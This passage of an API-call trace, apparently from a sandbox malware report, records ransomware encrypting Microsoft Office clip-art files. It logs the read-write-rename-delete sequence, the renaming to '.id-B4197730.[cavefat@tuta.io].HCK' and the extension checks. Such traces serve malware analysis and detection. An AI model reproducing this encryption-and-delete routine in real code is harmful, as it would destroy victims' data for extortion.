nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.488] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.488] SetEndOfFile (hFile=0x2f4) returned 1 [0153.488] CloseHandle (hObject=0x2f4) returned 1 [0153.489] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.489] SetEndOfFile (hFile=0x300) returned 1 [0153.489] CloseHandle (hObject=0x300) returned 1 [0153.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0153.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0153.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.490] lstrlenW (lpString=".doc") returned 4 [0153.490] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.490] lstrlenW (lpString=".docx") returned 5 [0153.490] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.490] lstrlenW (lpString=".pdf") returned 4 [0153.490] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.490] lstrlenW (lpString=".xls") returned 4 [0153.490] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.490] lstrlenW (lpString=".xlsx") returned 5 [0153.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.490] lstrlenW (lpString=".ppt") returned 4 [0153.490] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.490] lstrlenW (lpString=".zip") returned 4 [0153.490] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.490] lstrlenW (lpString=".rar") returned 4 [0153.490] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.490] lstrlenW (lpString=".bz2") returned 4 [0153.490] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.490] lstrlenW (lpString=".7z") returned 3 [0153.490] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.490] lstrlenW (lpString=".dbf") returned 4 [0153.490] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.490] lstrlenW (lpString=".1cd") returned 4 [0153.490] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.490] lstrlenW (lpString=".jpg") returned 4 [0153.490] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.490] lstrlenW (lpString=".doc") returned 4 [0153.490] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.490] lstrlenW (lpString=".docx") returned 5 [0153.490] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.491] lstrlenW (lpString=".pdf") returned 4 [0153.491] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.491] lstrlenW (lpString=".xls") returned 4 [0153.491] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.491] lstrlenW (lpString=".xlsx") returned 5 [0153.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.491] lstrlenW (lpString=".ppt") returned 4 [0153.491] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.491] lstrlenW (lpString=".zip") returned 4 [0153.491] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.491] lstrlenW (lpString=".rar") returned 4 [0153.491] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.491] lstrlenW (lpString=".bz2") returned 4 [0153.491] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.491] lstrlenW (lpString=".7z") returned 3 [0153.491] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.491] lstrlenW (lpString=".dbf") returned 4 [0153.491] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.491] lstrlenW (lpString=".1cd") returned 4 [0153.491] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0153.491] lstrlenW (lpString=".jpg") returned 4 [0153.491] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.491] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0153.491] lstrlenW (lpString="AG00126_.GIF") returned 12 [0153.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0153.491] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3140) returned 1 [0153.491] CloseHandle (hObject=0x300) returned 1 [0153.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0153.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0153.492] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.492] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0153.492] GetLastError () returned 0x0 [0153.492] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xc44, lpOverlapped=0x0) returned 1 [0153.498] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xc50, lpOverlapped=0x0) returned 1 [0153.498] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.499] WriteFile (in: hFile=0x2f4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.499] SetEndOfFile (hFile=0x2f4) returned 1 [0153.499] CloseHandle (hObject=0x2f4) returned 1 [0153.499] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.500] SetEndOfFile (hFile=0x300) returned 1 [0153.500] CloseHandle (hObject=0x300) returned 1 [0153.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0153.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0153.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.501] lstrlenW (lpString=".doc") returned 4 [0153.501] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.501] lstrlenW (lpString=".docx") returned 5 [0153.501] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.501] lstrlenW (lpString=".pdf") returned 4 [0153.501] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.501] lstrlenW (lpString=".xls") returned 4 [0153.501] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.501] lstrlenW (lpString=".xlsx") returned 5 [0153.501] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.501] lstrlenW (lpString=".ppt") returned 4 [0153.501] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.501] lstrlenW (lpString=".zip") returned 4 [0153.501] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.501] lstrlenW (lpString=".rar") returned 4 [0153.501] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.501] lstrlenW (lpString=".bz2") returned 4 [0153.501] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.501] lstrlenW (lpString=".7z") returned 3 [0153.501] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.501] lstrlenW (lpString=".dbf") returned 4 [0153.501] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.501] lstrlenW (lpString=".1cd") returned 4 [0153.501] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.501] lstrlenW (lpString=".jpg") returned 4 [0153.501] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.501] lstrlenW (lpString=".doc") returned 4 [0153.501] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.502] lstrlenW (lpString=".docx") returned 5 [0153.502] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.502] lstrlenW (lpString=".pdf") returned 4 [0153.502] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.502] lstrlenW (lpString=".xls") returned 4 [0153.502] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.502] lstrlenW (lpString=".xlsx") returned 5 [0153.502] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.502] lstrlenW (lpString=".ppt") returned 4 [0153.502] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.502] lstrlenW (lpString=".zip") returned 4 [0153.502] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.502] lstrlenW (lpString=".rar") returned 4 [0153.502] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.502] lstrlenW (lpString=".bz2") returned 4 [0153.502] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.502] lstrlenW (lpString=".7z") returned 3 [0153.502] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.502] lstrlenW (lpString=".dbf") returned 4 [0153.502] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.502] lstrlenW (lpString=".1cd") returned 4 [0153.502] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0153.502] lstrlenW (lpString=".jpg") returned 4 [0153.502] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.502] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0153.502] lstrlenW (lpString="AG00129_.GIF") returned 12 [0153.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0153.504] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=12482) returned 1 [0153.505] CloseHandle (hObject=0x398) returned 1 [0153.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0153.505] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0153.505] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.505] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0153.505] GetLastError () returned 0x0 [0153.505] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x30c2, lpOverlapped=0x0) returned 1 [0153.512] WriteFile (in: hFile=0x390, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x30d0, lpOverlapped=0x0) returned 1 [0153.513] ReadFile (in: hFile=0x398, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.513] WriteFile (in: hFile=0x390, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0153.513] SetEndOfFile (hFile=0x390) returned 1 [0153.513] CloseHandle (hObject=0x390) returned 1 [0153.514] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.514] SetEndOfFile (hFile=0x398) returned 1 [0153.515] CloseHandle (hObject=0x398) returned 1 [0153.515] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0153.515] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.516] lstrlenW (lpString=".doc") returned 4 [0153.516] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.516] lstrlenW (lpString=".docx") returned 5 [0153.516] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.516] lstrlenW (lpString=".pdf") returned 4 [0153.516] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.516] lstrlenW (lpString=".xls") returned 4 [0153.516] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.516] lstrlenW (lpString=".xlsx") returned 5 [0153.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.516] lstrlenW (lpString=".ppt") returned 4 [0153.516] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.516] lstrlenW (lpString=".zip") returned 4 [0153.516] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.516] lstrlenW (lpString=".rar") returned 4 [0153.516] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.516] lstrlenW (lpString=".bz2") returned 4 [0153.516] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.516] lstrlenW (lpString=".7z") returned 3 [0153.516] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.516] lstrlenW (lpString=".dbf") returned 4 [0153.516] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.516] lstrlenW (lpString=".1cd") returned 4 [0153.516] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.516] lstrlenW (lpString=".jpg") returned 4 [0153.516] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.516] lstrlenW (lpString=".doc") returned 4 [0153.516] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.516] lstrlenW (lpString=".docx") returned 5 [0153.516] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.516] lstrlenW (lpString=".pdf") returned 4 [0153.516] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.516] lstrlenW (lpString=".xls") returned 4 [0153.516] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.516] lstrlenW (lpString=".xlsx") returned 5 [0153.516] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.517] lstrlenW (lpString=".ppt") returned 4 [0153.517] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.517] lstrlenW (lpString=".zip") returned 4 [0153.517] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.517] lstrlenW (lpString=".rar") returned 4 [0153.517] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.517] lstrlenW (lpString=".bz2") returned 4 [0153.517] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.517] lstrlenW (lpString=".7z") returned 3 [0153.517] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.517] lstrlenW (lpString=".dbf") returned 4 [0153.517] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.517] lstrlenW (lpString=".1cd") returned 4 [0153.517] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 68 [0153.517] lstrlenW (lpString=".jpg") returned 4 [0153.517] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.517] lstrcmpiW (lpString1=".GIF", lpString2=".HCK") returned -1 [0153.517] lstrlenW (lpString="AG00130_.GIF") returned 12 [0153.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0153.523] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=5253) returned 1 [0153.523] CloseHandle (hObject=0x300) returned 1 [0153.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif")) returned 0x220 [0153.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0153.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0153.524] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.524] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0153.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00130_.GIF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0153.524] GetLastError () returned 0x0 [0153.524] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x1485, lpOverlapped=0x0) returned 1 [0153.526] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1490, lpOverlapped=0x0) returned 1 [0153.527] ReadFile (in: hFile=0x300, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0153.527] WriteFile (in: hFile=0x398, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: 